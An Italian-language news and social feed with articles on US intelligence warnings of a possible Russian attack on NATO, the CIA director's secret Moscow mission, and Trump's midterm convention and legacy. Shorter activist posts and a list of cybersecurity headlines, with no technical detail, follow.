Gli alleati sono in allerta da quando il Wall Street Journal ha rivelato, il 6 agosto, una valutazione dell'intelligence statunitense secondo cui la Russia potrebbe lanciare un attacco limitato contro un Paese membro dell'Alleanza Atlantica, per esempio un'incursione terrestre o un'offensiva informatica, in una finestra compresa tra l'autunno di quest'anno e il 2029. I Paesi baltici e la Polonia sarebbero gli obiettivi più probabili di questa potenziale azione.

La valutazione contraddice le analisi secondo cui Putin intenderebbe evitare uno scontro militare aperto con la NATO finché resta impegnato nella guerra in Ucraina ed è arrivata mentre a Washington si discute della carenza di armamenti provocata anche dalla guerra condotta dall'Amministrazione Trump contro l'Iran. Whitaker non ha voluto commentare direttamente le informazioni riservate, ma ha insistito sulla necessità di aumentare la spesa per la difesa e la produzione di armi.

"Non si può prevedere cosa farà Vladimir Putin o qualsiasi altro avversario. Si può solo essere preparati, dissuaderlo e fare in modo che quella mossa non valga la pena", ha detto. "Il nostro avversario ha invaso l'Ucraina, quindi dovremmo tutti avere le idee chiare". Da qui l'appello agli alleati: "Dobbiamo prepararci, dobbiamo investire in capacità".

Mosca è in economia di guerra, gli alleati no


Secondo un funzionario europeo sentito da USA Today, gli alleati sono rimasti sorpresi nell'apprendere che Putin potrebbe essere in grado di colpire un Paese della NATO molto prima dei dieci o quindici anni presi come riferimento dall'Alleanza quando aveva fissato i più recenti obiettivi di spesa. L'anno scorso i Paesi membri si sono impegnati a destinare alla difesa il 5% del PIL entro il 2035: almeno il 3,5% per spese militari dirette e il resto per migliorare infrastrutture come strade, ponti e aeroporti.

La Russia, ha aggiunto il funzionario, è logorata dalla guerra ma ragiona su tempi diversi. Putin ha riconvertito l'economia alle esigenze del conflitto e quasi il 40% della spesa federale russa è oggi destinato a difesa e sicurezza. "L'asimmetria tra Russia e NATO è che loro sono in economia di guerra e noi no", ha dichiarato a USA Today Max Bergmann, direttore del programma Europa, Russia ed Eurasia del Center for Strategic and International Studies. "Loro possono produrre mille missili cruise. La nostra capacità di fornire o produrre intercettori per la difesa aerea è semplicemente inadeguata".

Ad alimentare i timori è stata anche la visita non annunciata del direttore della CIA John Ratcliffe a Mosca, martedì della settimana scorsa. Secondo le ricostruzioni, Ratcliffe avrebbe avvertito la Russia di non attaccare il territorio della NATO, sostenuto che Mosca sta perdendo la guerra in Ucraina e invitato il Cremlino a ridurre i legami con l'Iran. Il 27 agosto il portavoce del Cremlino Dmitry Peskov ha negato qualsiasi piano di attacco, definendo le notizie "senza alcun fondamento nella realtà".

Lo stesso giorno Trump ha detto ai giornalisti nello Studio Ovale che Putin "non attaccherà un territorio della NATO", definendo il viaggio di Ratcliffe "semi-routine" e senza chiarire se il direttore della CIA avesse effettivamente consegnato un messaggio di questo tipo. Il Ministro degli Esteri polacco Radoslaw Sikorski ha risposto sui social ricordando che Putin aveva assicurato a William Burns, direttore della CIA nell'amministrazione Biden e in visita a Mosca nel novembre 2021, che non avrebbe attaccato l'Ucraina. "Dovremmo accelerare i preparativi di difesa", ha scritto.

I droni e la pressione ibrida sulla NATO


Per molti funzionari europei, la Russia sta già mettendo alla prova l'Alleanza attraverso una serie di operazioni ibride. Il Ministro dell'Interno tedesco Alexander Dobrindt ha detto il 1° settembre che le indagini "hanno stabilito la responsabilità russa" per il tentato attacco all'aeroporto di Lipsia del 4 e 5 agosto, quando un drone con 800 grammi di esplosivo è stato trovato sulla pista accanto a un cargo ucraino An-124. Secondo Dobrindt, l'episodio rientra nello "schema noto delle operazioni ibride russe in Europa". Berlino ha quindi annunciato la chiusura del consolato russo di Bonn come risposta a questo episodio.

Il presidente romeno Nicușor Dan ha attribuito alla Russia un drone navale carico di esplosivo, distrutto il 20 agosto da un caccia F-16 vicino al giacimento di gas Neptun Deep, nel Mar Nero, dopo che Kyiv aveva confermato che il mezzo non era ucraino. Nella notte del 1° settembre l'Estonia ha diffuso allerte pubbliche e fatto decollare i caccia della NATO dopo l'ingresso di droni nel proprio spazio aereo durante un attacco ucraino su larga scala contro la Russia occidentale. Il Ministro degli Esteri Margus Tsahkna ha definito l'episodio "una conseguenza diretta della guerra di aggressione russa contro l'Ucraina".

"Questi atti di sabotaggio sono piuttosto significativi e sono atti di guerra", ha dichiarato a USA Today Fiona Hill, responsabile per Russia ed Europa nel Consiglio per la Sicurezza Nazionale durante la prima Amministrazione Trump. "La gente continua a dire che non siamo in guerra perché la guerra è cinetica e non ci lanciano missili addosso. Ma è esattamente quello che vuole Putin, perché lascia tutti gli altri indifesi e vulnerabili".

Gli stessi funzionari, tuttavia, non ritengono che Putin voglia trascinare la NATO in un conflitto aperto. L'obiettivo sarebbe piuttosto intimidire i Paesi vicini all'Ucraina per spingerli a ridurre il proprio sostegno a Kyiv. Il presidente finlandese Alexander Stubb ha detto sabato alla Bild, citando informazioni dell'intelligence, che la Russia perde tra 30.000 e 35.000 soldati al mese a fronte di 27.000 nuove reclute e non sarebbe quindi in grado di sostenere contemporaneamente due fronti.

Kurt Volker, inviato speciale per l'Ucraina durante il primo mandato di Trump e in precedenza Ambasciatore degli Stati Uniti presso la NATO sotto George W. Bush, ha indicato a USA Today un possibile orizzonte temporale: "Prendete la fine dei combattimenti in Ucraina e aggiungete da tre a cinque anni. Quella è la vostra linea temporale".

Bergmann non ritiene probabile che Putin attacchi un Paese della NATO con un esercito "malconcio e sanguinante". Se però i combattimenti rallentassero e le forze russe avessero il tempo di riorganizzarsi, Mosca potrebbe in teoria essere in grado di colpire uno Stato baltico già entro il 2028. Avrebbe dalla sua anche una tolleranza alle perdite che Bergmann definisce "insieme nauseante e preoccupante": secondo uno studio del CSIS, più di 1,4 milioni di militari russi sono stati uccisi o feriti tra il febbraio 2022 e il giugno 2026.

Lo stesso Whitaker riconosce che oggi "la Russia è piuttosto occupata con la situazione in Ucraina", dove "le cose non vanno bene", e che anche in caso di una svolta immediata servirebbero anni per riportare l'esercito ai livelli precedenti all'invasione. Michael Kofman, esperto delle forze armate russe al Carnegie Endowment for International Peace, avverte però che Mosca ha ormai integrato nelle proprie forze unità dedicate ai droni, un gran numero di armi di precisione e milioni di droni tattici, strumenti che consentono operazioni limitate ma potenzialmente molto dannose.

La ricostituzione della potenza militare russa, ha spiegato Kofman a USA Today, “non è una questione di se, ma di quando”. Ed è proprio sui tempi di questa ricostituzione che si concentra il messaggio di Whitaker: le perdite subite dalla Russia in Ucraina hanno aperto una finestra temporanea di vantaggio per gli alleati, che devono però dimostrare di saperla sfruttare per rafforzare le proprie difese prima che si richiuda. La carenza di intercettori americani mostra già quanto questa finestra possa essere più stretta del previsto.


Missione segreta della CIA a Mosca: il vero messaggio di Trump a Putin


La missione diplomatica di John Ratcliffe in Russia era talmente riservata che nemmeno alcuni alti funzionari della Casa Bianca ne erano al corrente. Secondo il Wall Street Journal, Donald Trump ha inviato personalmente a Mosca il direttore della CIA, tenendo all'oscuro della missione e del messaggio da consegnare al Cremlino anche collaboratori fidati e vertici militari che normalmente sarebbero stati informati. Ratcliffe è arrivato martedì dalla Lettonia a bordo di un C-17 militare senza insegne e ha incontrato Sergei Naryshkin, direttore dell'intelligence estera russa. Il Cremlino ha precisato che non ha invece visto Vladimir Putin. La notizia del viaggio ha spinto i funzionari europei a cercare rapidamente informazioni sui colloqui.

Due funzionari europei, una volta informati, hanno riferito che Ratcliffe ha ribadito ai suoi interlocutori dell'intelligence russa l'impegno degli Stati Uniti nei confronti dell'Articolo 5 della NATO, in base al quale un attacco contro un Paese membro è considerato un attacco contro tutti. Il Wall Street Journal aveva già riportato che il direttore della CIA aveva avvertito Mosca di non attaccare Paesi dell'Alleanza.

La visita arriva dopo recenti valutazioni dell'intelligence secondo cui la Russia potrebbe mettere alla prova la NATO entro pochi anni. Funzionari europei hanno inoltre avvertito che Mosca avrebbe accumulato droni ucraini in vista di una possibile operazione sotto falsa bandiera contro gli Stati del fianco orientale. Trump, però, ha detto giovedì ai giornalisti di non essere preoccupato: Putin "non attaccherà territorio NATO".

Stati Uniti · Russia · NATO

Trump ha mandato il capo della CIA a Mosca con un messaggio riservato sull’Articolo 5

John Ratcliffe è arrivato a Mosca su un aereo militare senza insegne. Della missione non erano al corrente né alcuni alti funzionari della Casa Bianca né i vertici militari che di solito vengono informati.

Grafica di FocusAmerica 28 agosto 2026

La rotta della missione
Riga Mosca
Paesi NATO Russia e Bielorussia Ucraina e Moldova
Martedì. Un C-17 militare senza insegne decolla dalla Lettonia e porta a Mosca il direttore della CIA. Il viaggio non era stato annunciato.

La missione in tre numeri

1
Sola persona incontrata
Sergei Naryshkin, direttore dell’intelligence estera russa

0
Incontri con Putin
Il Cremlino ha precisato che il presidente russo non lo ha ricevuto

2030
L’anno che l’Europa teme
Quando Mosca potrebbe tornare in grado di attaccare la NATO

1

La missione

Un viaggio costruito per non lasciare tracce


Trump ha tenuto la missione dentro un cerchio ristretto: ne sono rimasti fuori anche i vertici militari che di solito vengono avvisati.

Quando
Martedì, con arrivo dalla Lettonia

Come
A bordo di un C-17 militare senza insegne

Chi ha incontrato
Sergei Naryshkin, direttore dell’intelligence estera russa

Chi non ha visto
Vladimir Putin

Chi lo sapeva
Nemmeno alcuni alti funzionari della Casa Bianca, collaboratori fidati e vertici militari

Chi l’ha saputo dopo
Gli europei, che hanno cercato in fretta informazioni sui colloqui

2

Il messaggio

Che cosa Ratcliffe ha detto ai russi


Quattro punti, consegnati di persona al capo dell’intelligence estera russa.

1

L’Articolo 5 resta in piedi
Gli Stati Uniti continuano a considerare un attacco contro un Paese membro come un attacco contro tutta l’Alleanza.

2

Non attaccate i Paesi della NATO
Un avvertimento che il direttore della CIA aveva già fatto arrivare a Mosca nelle settimane precedenti.

3

Chiudete i rapporti con l’Iran
Niente più legami economici o di sicurezza con Teheran, mentre Washington rafforza le sanzioni contro il regime.

4

E un’apertura sull’Ucraina
I due hanno parlato di una possibile ripresa dei negoziati. Secondo Kyrylo Budanov i colloqui diretti potrebbero ripartire a settembre.

3

Gli inviati

Trump ha già provato con quattro emissari


Prima di Ratcliffe, ogni canale aperto dalla Casa Bianca si è fermato senza risultati.

Steve Witkoff
Inviato speciale, mandato a Mosca più volte

Nessun accordo

Jared Kushner
Il genero del presidente, affiancato a Witkoff

Nessun accordo

Marco Rubio e Keith Kellogg
Il Segretario di Stato e l’allora inviato per l’Ucraina hanno visto entrambe le parti

Nessun accordo

Il vertice in Alaska
Agosto 2025. Per mesi Washington aveva spinto Kyiv a cedere le zone del Donetsk che la Russia non aveva conquistato

Nessun accordo

John Ratcliffe
Agosto 2026. Il canale passa all’intelligence: i contatti consolidati tra CIA e servizi russi, più la vicinanza personale a Trump

In corso

4

L’orizzonte

Quanto tempo separa l’Europa dal prossimo test russo


Le rassicurazioni pubbliche e le valutazioni dell’intelligence raccontano due tempi diversi.

Oggi
La guerra ibrida

Entro pochi anni
Il test dell’Alleanza

2030
L’esercito ricostruito

Droni, attacchi informatici e persino pacchi esplosivi contro i Paesi che sostengono Kyiv. I funzionari europei osservano che questa pressione cresce e che può far scoppiare una crisi molto più ampia senza che nessuno dichiari guerra.

Tre letture dello stesso rischio

“Putin non attaccherà territorio NATO”
Donald Trump, giovedì ai giornalisti: dice di non essere preoccupato

“Il rischio di un’invasione diretta è attualmente basso”
Andris Kulbergs, primo ministro lettone: il livello di minaccia militare per il Paese non è cambiato

“Putin ha una straordinaria tolleranza al rischio”
J.C. Lintzenich, German Marshall Fund: ma difficilmente scommetterà su azioni che possono mettere in pericolo lo Stato russo

Fonte Ricostruzione del Wall Street Journal; dichiarazioni di funzionari europei e statunitensi e del Cremlino; German Marshall Fund. Dati aggiornati al 28 agosto 2026.

Tra Ucraina e Iran, Trump cambia inviato e strategia?


Ratcliffe ha discusso con il suo omologo russo anche della possibile ripresa dei negoziati per porre fine all'invasione russa dell'Ucraina. Poco dopo Kyrylo Budanov, capo dell'ufficio presidenziale ucraino, ha detto che i colloqui diretti tra i due Paesi potrebbero ripartire a settembre. Ma il direttore della CIA avrebbe inoltre chiesto ai russi di non mantenere più legami economici o di sicurezza con l'Iran, mentre l'Amministrazione Trump cerca di intensificare la campagna di sanzioni contro Teheran.

Il presidente sembra comunque aver cambiato il proprio inviato dopo che i precedenti round negoziali, affidati ad altri inviati, non sono riusciti a fermare la guerra. Negli ultimi mesi Mosca ha intensificato gli attacchi contro l'Ucraina, rafforzato il sostegno al regime iraniano e resistito ai tentativi americani di migliorare i rapporti economici. Trump aveva inviato più volte a Mosca l'inviato speciale Steve Witkoff, poi affiancato dal genero Jared Kushner. Anche il Segretario di Stato Marco Rubio e l'ex inviato per l'Ucraina Keith Kellogg avevano incontrato rappresentanti delle due parti.

Il vertice in Alaska dell'agosto 2025, risultato di questi sforzi negoziali, però non aveva prodotto alcun accordo, anche se per mesi l'Amministrazione Trump aveva spinto Kyiv ad accettare la cessione unilaterale di territori orientali della regione di Donetsk nel Donbass che la Russia non aveva conquistato.

Ratcliffe ha già ottenuto in passato risultati nei rapporti con il Cremlino, tra cui la liberazione di ostaggi americani, e combina i tradizionali canali di comunicazione tra la CIA e i servizi russi con la sua vicinanza personale a Trump. Ha costruito il messaggio e lo ha consegnato personalmente perché Mosca comprendesse che gli sforzi per arrivare alla pace non distolgono Trump dagli impegni di sicurezza verso l'Europa, ha spiegato al Journal J.C. Lintzenich, ex alto funzionario dell'intelligence oggi al German Marshall Fund. "Putin ha una straordinaria tolleranza al rischio ed è persino disposto ad alzare il livello dello scontro per costringere l'altra parte a ridurlo, ma difficilmente scommetterà su azioni che potrebbero mettere in pericolo lo Stato russo".

I Paesi baltici rassicurano, ma l'Europa guarda al 2030


I leader del fianco orientale della NATO hanno cercato di ridimensionare i timori di una imminente aggressione russa. "Al momento non c'è motivo di preoccuparsi", ha detto in un video sui social il primo ministro lettone Andris Kulbergs. "Il livello di minaccia militare per la Lettonia non è cambiato. Il rischio di un'invasione diretta è attualmente basso". I funzionari europei osservano però che la Russia continua a condurre una guerra ibrida sempre più intensa contro gli alleati dell'Ucraina, attraverso droni, attacchi informatici e persino pacchi esplosivi: azioni che potrebbero innescare una crisi più ampia.

Secondo valutazioni americane ed europee, il Cremlino sta rivedendo i propri piani per un eventuale attacco militare contro la NATO dopo le enormi perdite subite in Ucraina, la carenza di armamenti e le difficoltà economiche. In Europa molti temono però che entro il 2030 la Russia possa tornare a rappresentare una minaccia convenzionale più seria, una volta ricostituite le proprie forze, mentre i Paesi europei saranno ancora impegnati a rafforzare le rispettive capacità militari, nonostante l'aumento delle spese militari.


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Gloria Steinem portò il femminismo nel cuore della politica e dell’informazione statunitense.
Denunciò sotto copertura lo sfruttamento delle lavoratrici nei Playboy Club, fondò una delle più importanti riviste femministe degli Stati Uniti e contribuì alla nascita del National Women’s Political Caucus.
Lottò per aborto, parità salariale, rappresentanza politica e contro la violenza sulle donne.
Oggi, purtroppo, ci lascia a 92 anni.
Addio, Gloria. 💜

#GloriaSteinem #Femminismo #DirittiDelleDonne #ParitàDiGenere #EmpowermentFemminile #EuropaFederale #Volt #VoltItalia #VoltEuropa

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Can’t believe I’m already going into my third year at the European Parliament!

My priorities are supporting European democracy, defence, and digital affairs.

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🚨 New wave of spyware attacks in Serbia target the student movement, activists, and opposition parties 🚨

SHARE Foundation has confirmed that at least 14 people in Serbia were targeted with spyware since the beginning of 2026 – the largest documented wave of such surveillance in the country to date. The timing of these attacks is especially suspicious and coincides with local elections in the country held in March 2026.

Read more ➡️ edri.org/our-work/students-and…

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Il sostegno all’Ucraina non è affatto lontano dal Paese reale. Anzi.

Secondo l’ultimo sondaggio SWG, oggi il 51% degli italiani è favorevole a continuare l’invio di armi a Kyiv. Un dato che smentisce una narrazione ripetuta per anni: quella di un’Italia ormai compatta per il disimpegno.

La questione, però, non è solo militare: è politica. Una pace vera e duratura non si costruisce premiando chi invade e costringendo chi è stato aggredito ad accettare qualsiasi condizione. Senza sicurezza, deterrenza e garanzie credibili, il rischio è soltanto rinviare la prossima guerra.

Ed è qui che l’Europa deve cambiare passo. Finché resteremo divisi tra 27 sistemi di difesa, 27 priorità nazionali e 27 veti, continueremo a dipendere dalle scelte altrui.

Per Volt dunque, sostenere l’Ucraina significa anche costruire un’Europa più forte e finalmente federale: con una vera difesa comune, capacità condivise, comando europeo, decisioni più rapide e fine dei veti nazionali.

Se vogliamo difendere davvero la pace e la sicurezza europee, dobbiamo mettere l’Europa nelle condizioni di proteggerle.

#Ucraina #Ukraine #Europa #Pace #DifesaEuropea #EuropaFederale #Volt #VoltItalia #VoltEuropa

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La convention di Trump divide il GOP: 45 deputati verso il forfait


Un sondaggio di Politico tra oltre 70 deputati repubblicani ne conta 45 pronti a saltare l'evento di Dallas del 9 e 10 settembre. Pesano i biglietti da 25.000 a 100.000 dollari e il timore di farsi vedere accanto a un presidente in calo nei sondaggi.

Quarantacinque deputati repubblicani hanno intenzione di saltare la convention di midterm voluta da Donald Trump, in programma il 9 e 10 settembre a Dallas. Il dato emerge da un sondaggio di Politico condotto tra oltre 70 esponenti repubblicani della Camera e conferma le difficoltà della prima Convention di midterm nella storia del partito, resa possibile da una modifica del regolamento del Republican National Committee. Trump l'aveva annunciata a fine giugno su Truth Social, promettendo "un evento davvero storico" per celebrare "la nostra Nazione, i nostri successi e il nostro futuro luminoso" insieme alla sua agenda "America First".

Un deputato repubblicano ha definito la Convention come "una perdita di tempo" e, parlando con Politico, ne ha descritto l'organizzazione come "un pasticcio". "A questo punto non dovresti dover mobilitare la tua base", ha aggiunto. "Dovresti cercare di convincere gli indipendenti. Gli indipendenti non partecipano e non guardano la Convention di midterm".

Trump chiuderà i lavori della Convention con un discorso il 10 settembre, nell'ambito della strategia dichiarata di trasformare le elezioni di novembre in un referendum su sé stesso. Resta però da capire quanti esponenti repubblicani impegnati nelle sfide più incerte vorranno farsi vedere al suo fianco. Tom Barrett, deputato del Michigan in corsa per la rielezione in un distretto in bilico, lo ha detto apertamente: "Non posso controllare cosa dirà il presidente alla Convention, ma posso controllare dove sono e cosa farò". Il suo stratega Jason Cabel Roe ha spiegato a Reuters che Barrett resterà nel distretto a fare campagna elettorale perché "è in una corsa difficile e i suoi elettori sono nel suo distretto".

Biglietti fino a 100.000 dollari e un anniversario scomodo


Secondo Puck, il National Republican Congressional Committee, il comitato elettorale dei repubblicani alla Camera dei Rappresentanti, chiede ai deputati almeno 25.000 dollari per partecipare alla Convention con un accompagnatore, mentre il pacchetto più costoso arriva fino a 100.000 dollari. "Non volevo andarci comunque", ha detto a Politico un secondo deputato. "Questo ha reso la decisione più facile". Tim Burchett, deputato del Tennessee, ha citato proprio il costo tra le ragioni per cui "non è sicuro" di partecipare.

Puck segnala anche un problema di immagine: la Convention si terrà due giorni prima di un anniversario molto scomodo, il venticinquesimo degli attentati dell'11 settembre. Intanto, secondo la testata, il Republican National Committee starebbe raccogliendo sponsorizzazioni da donatori aziendali attraverso un'organizzazione senza fini di lucro, una struttura che consentirebbe di non far comparire i nomi dei finanziatori nei normali rendiconti elettorali.

Un consulente repubblicano, parlando con Puck, ha definito senza mezzi termini la Convention uno "shit show": pochi eletti sarebbero, infatti, disposti a pagare quelle cifre e molti avrebbero già assunto altri impegni prima dell'arrivo degli inviti, spediti in ritardo. Un altro stratega ha detto che "nessuno capisce perché stiamo facendo una Convention di midterm", liquidandola come "un'altra occasione per spremere le aziende americane". In un anno senza elezioni presidenziali, infatti, il partito non ha alcun adempimento formale da svolgere durante una Convention.

Per alcuni repubblicani, l'evento rischia così di ridursi a poco più di una raccolta fondi per uno spettacolo politico incentrato su Trump. Anche Reuters ha raccolto tra i consulenti del partito l'idea che la Convention rappresenti solo una distrazione nel tratto finale della campagna elettorale. L'agenzia stampa ha inoltre riferito che il presidente di un partito statale ha restituito molti dei posti assegnati alla propria delegazione perché diversi membri non riuscivano a conciliare le date dell'evento con altri impegni, compreso l'inizio dell'anno scolastico.

Un programma ancora da definire


Anche il programma resta in gran parte da definire. Il vicepresidente JD Vance parlerà il 9 settembre e Trump il giorno successivo, ma Reuters ha scritto che non è ancora chiaro quali candidati al Congresso interverranno. I consiglieri di tre candidati repubblicani in distretti contesi hanno detto di non sapere nemmeno se a loro verrà offerto uno spazio sul palco.

Reuters ha contattato i rappresentanti dei candidati repubblicani in 37 corse competitive per la Camera e otto per il Senato. Su 45 campagne, soltanto quella di Barrett ha fornito una risposta nel merito. Secondo alcuni strateghi sentiti da Reuters, mettere Trump al centro dell'evento rischia di richiamare l'attenzione su un presidente con un basso indice di gradimento, che ha più volte chiesto agli americani di sopportare i costi economici della guerra in Iran. Un sondaggio Reuters/Ipsos condotto tra il 21 e il 24 agosto attribuisce a Trump un tasso di approvazione del 33%; appena il 13% degli americani approva con convinzione il suo operato, una quota che tra i repubblicani si ferma al 35%.

La portavoce del Republican National Committee, Natalie Baldassarre, ha respinto queste letture sostenendo che "l'interesse e l'entusiasmo per partecipare, intervenire e parlare a questa Convention storica sono stati incredibili" e che l'evento "darà lo slancio necessario per allargare le nostre maggioranze a novembre".

Trump non sarà sulla scheda elettorale, ma in gioco c’è comunque il controllo repubblicano del Congresso e, con esso, la capacità del presidente di portare avanti la propria agenda negli ultimi due anni di mandato, evitando di trasformarsi anzitempo in un’“anatra zoppa”. La Convention, concepita per trasformare il voto di novembre in un referendum su Trump, rischia però di produrre l’effetto opposto: diventare l’evento dal quale i candidati repubblicani più esposti preferiscono tenersi alla larga, nel timore che un’eccessiva identificazione con il presidente possa costare loro cara alle urne.


Trump pensa alla sua eredità politica, i repubblicani alle midterm


Giovedì il presidente Donald Trump ha pubblicato su Truth Social, il suo social network, dove lo seguono 13 milioni di persone, un'immagine generata con l'intelligenza artificiale che mette in classifica i presidenti americani. Il suo nome compare al primo posto, sopra George Washington e Abraham Lincoln, con la scritta "The Greatest", il più grande, sopra il ritratto. Secondo il Wall Street Journal, con i consensi in calo Trump è impegnato soprattutto a costruire l'eredità che lascerà. I repubblicani temono in privato che questa concentrazione su di sé li stia danneggiando in vista delle elezioni di metà mandato di novembre e regali ai democratici materiale per gli spot elettorali.

I suoi consiglieri più stretti provano da mesi a spostare la sua attenzione sull'economia, il tema a cui gli elettori tengono di più. Trump ha rivendicato i risultati economici in discorsi ed eventi alla Casa Bianca, ma finisce spesso per parlare d'altro, dai cantieri che ha avviato agli attacchi contro chi considera un nemico.

Trump ha visto da vicino quanto in fretta un successore possa cancellare le politiche di un presidente e per questo vuole lasciare segni difficili da rimuovere. Secondo i suoi collaboratori passa molto tempo a seguire una lista crescente di cantieri, dalla sala da ballo della Casa Bianca all'arco di trionfo che vorrebbe costruire, pensati come ricordi fisici del suo mandato. Questo mese ha mostrato ai giornalisti la nuova piazzola per gli elicotteri in costruzione sul prato sud della Casa Bianca, dicendo che la pietra scelta durerà un milione di anni. Sta anche mettendo il suo nome e il suo volto su passaporti in edizione limitata, sui pass per i parchi nazionali e su una moneta commemorativa da un dollaro di prossima uscita.

Un alto funzionario dell'amministrazione ha detto che il presidente è entrato in "modalità eredità". Secondo i collaboratori è fissato con il modo in cui verrà ricordato dalle generazioni future e vuole evitare la sorte degli ex presidenti che considera deboli, come Jimmy Carter. "È uno dei pochi presidenti che ragionano su una scala interamente storica", ha detto al giornale Newt Gingrich, ex presidente della Camera dei rappresentanti e oggi confidente di Trump. "Vuole essere incisivo, vuole essere il tipo di presidente del quale la gente dica che è stato importante che fosse presidente".

I repubblicani affrontano una corsa in salita per mantenere la maggioranza al Congresso, dove a novembre si rinnovano tutta la Camera e un terzo del Senato. Per questo gli chiedono di dirottare sulla campagna la sua attenzione e i suoi soldi. Il super PAC a lui vicino, MAGA Inc. (i super PAC sono comitati che possono raccogliere e spendere fondi senza limiti a sostegno di un candidato), ha accumulato una cassa da oltre 400 milioni di dollari, ma non ha ancora iniziato a spenderla su larga scala. La lentezza frustra molti nel partito del presidente.

Di recente il gruppo ha speso più di 800.000 dollari in telefonate e messaggi per portare al voto gli elettori della senatrice repubblicana Darline Graham, che questa settimana ha vinto il ballottaggio delle primarie in South Carolina contro uno sfidante del suo stesso partito. Trump l'aveva incoraggiata a candidarsi per il seggio lasciato libero dalla morte del fratello Lindsey Graham. Una sconfitta sarebbe stata un imbarazzo per il presidente, che rivendica i successi dei candidati che appoggia. Alcuni repubblicani si sono lamentati in privato perché la prima spesa significativa del gruppo dopo mesi è arrivata in una sfida tra due repubblicani. Lo Stato, che Trump ha vinto nel 2024, non è considerato conteso da nessuno dei due partiti in vista di novembre.

Nonostante i consensi bassi, Trump vuole comunque mettersi al centro della campagna per le midterm, una scelta che metterà alla prova la sua influenza sugli elettori. Mentre il suo entourage discute su come usare la raccolta di MAGA Inc., il presidente ha detto ai consiglieri di volere una serie di spot televisivi centrati sulla sua agenda. È convinto che i tagli alle tasse che ha firmato faranno presa sugli elettori e sostiene di essere ancora la forza politica più potente del partito, capace di spingere i repubblicani a votare a novembre. In un'intervista a Fox News questa settimana ha chiesto ai suoi sostenitori di "fare finta" che sia lui il nome sulla scheda elettorale.

Alcuni repubblicani temono anche che al presidente non importino le ricadute politiche delle sue mosse sul resto del partito. Quando i vertici repubblicani al Congresso hanno faticato a trovare un accordo sulla legge spinta da Trump per introdurre requisiti più severi per l'accesso al voto, un alto funzionario dell'amministrazione ha raccontato che al presidente non importava dell'effetto del dibattito sui parlamentari in cerca di rielezione. Era concentrato sulla sua eredità di lungo periodo.

Le rivalità internazionali a volte lo distraggono dall'agenda interna. Mentre i repubblicani facevano campagna in giro per il Paese, questa settimana Trump ha alzato i toni dello scontro commerciale con il Canada. Ha convocato la stampa nello Studio Ovale per firmare l'ordine esecutivo che ribattezza il lago Ontario "Lake America". Il conduttore radiofonico conservatore Erick Erickson, negli ultimi mesi sempre più critico verso il presidente, ha scritto sui social di provare a immaginare l'elettore indeciso sulle midterm che legge quella notizia e decide di votare repubblicano. "Non potete immaginarlo perché non esiste", ha aggiunto.

La guerra con l'Iran, impopolare, ha messo sotto pressione l'economia americana, ha indebolito la posizione degli Stati Uniti nel mondo e ha portato i consensi di Trump ai minimi storici. Oltre alla Camera, i repubblicani ora rischiano di perdere anche il Senato. Se i democratici riconquistassero il Congresso, per Trump si aprirebbe la possibilità di un terzo impeachment (la procedura di messa in stato d'accusa, che ha già affrontato due volte nel primo mandato), un'eventualità che preoccupa la Casa Bianca. "Ha scelto la sua eredità: la guerra con l'Iran, la caduta dell'impero americano e la distruzione dell'economia degli Stati Uniti", ha detto Tucker Carlson. L'ex conduttore di Fox News aveva fatto campagna per il secondo mandato di Trump e lo ha consigliato con regolarità, fino alla rottura tra i due proprio sulla guerra.

Che Trump ragioni sul dopo-presidenza è già una novità. Negli anni fuori dalla Casa Bianca i collaboratori evitavano di parlargli della biblioteca presidenziale, il complesso con archivi e museo che ogni ex presidente costruisce per custodire la memoria del proprio mandato. Temevano che la prendesse come un segnale della fine del suo potere. Ora ne parla apertamente. Nel secondo mandato, racconta un suo assistente, Trump è anche diventato un lettore di biografie presidenziali.

Ha scelto personalmente i ritratti dei predecessori e ha corretto le targhe che li accompagnano nella "Presidential Walk of Fame", la nuova esposizione lungo il colonnato della Casa Bianca. Al posto del ritratto di Joe Biden c'è la fotografia di un autopen, la macchina che riproduce le firme, con una targa secondo cui il suo predecessore "è stato, di gran lunga, il peggior presidente della storia americana". La voce dedicata a Trump, scritta da lui stesso, anticipa il giudizio che spera di leggere nei libri di storia: al suo insediamento ha annunciato l'inizio dell'"età dell'oro dell'America" e, si legge, "ha mantenuto la promessa".


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Matteo Salvini attacca Vannacci: no all’educazione militare nelle scuole.

Ma ha perso la memoria? Per anni è stato proprio Salvini a chiedere il ritorno della leva obbligatoria, anche per sei mesi.

Tranquillo, Matteo: ci pensiamo noi a rinfrescartela.

E tu, te lo ricordi?

Video di Francesca Romana D’Antuono, già copresidente di Volt Europa.

#Salvini #LevaMilitare #PoliticaItaliana #Scuola #Vannacci #EuropaFederale #Volt #VoltItalia #VoltEuropa

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✊🏽 Providing safe, secure and independent internet infrastructure is not a crime. EDRi stands in full solidarity with Autistici/Inventati @cavallette after the US government designated the Italian non-profit organisation as a "Specially Designated Global Terrorist."

This targeting of A/I is also an attack on fundamental rights, safe and secure communications, anti-authoritarian organising and the democratic integrity of the EU.

Our full statement ➡️ edri.org/our-work/edri-solidar…

Questa voce è stata modificata (2 settimane fa)
in reply to EDRi

Secondo alcuni statunitensi le sanzioni a @cavallette sono giuste perché creano servizi utili a brava gente ma anche a chi (secondo loro) non lo è. Prendiamolo per vero. Leonardo e Beretta fabbricano cose utili (secondo alcuni) a brava gente ma anche a cattiva. Le sanzioniamo? Idem Lockheed Martin, Northrop Grumman, ... Sanzioniamo pure loro? Gli USA hanno inventato e prodotto la bomba atomica che non è dual use. Fa solo omicidi di massa. Quando inizieremo a sanzionare gli USA?
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GitSpawn Turns Booby-Trapped Repositories Into Silent Code Execution Across AI Coding Tools
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New WhatsApp Video Call Trick Bypasses Android Lock Screens to Expose Your Photos
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Lenovo ID Trust Flaw Opened About 5,000 Dropbox Accounts to Takeover
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Microsoft 365 Session Hijacking Campaigns Hide Behind Trusted Remote-Support Tools
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Fake Software Installers Are Quietly Disarming Microsoft Defender in New Silver Fox Campaign
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TukTuk Malware Gives Ransomware Crews Cross-Platform Control and EDR-Killing Tools
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SharePoint sotto attacco: la catena RCE non autenticata CVE-2026-55040 + CVE-2026-63520
#tech
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@informatica


SharePoint sotto attacco: la catena RCE non autenticata CVE-2026-55040 + CVE-2026-63520


Una catena di due CVE trasforma SharePoint in un bersaglio non autenticato


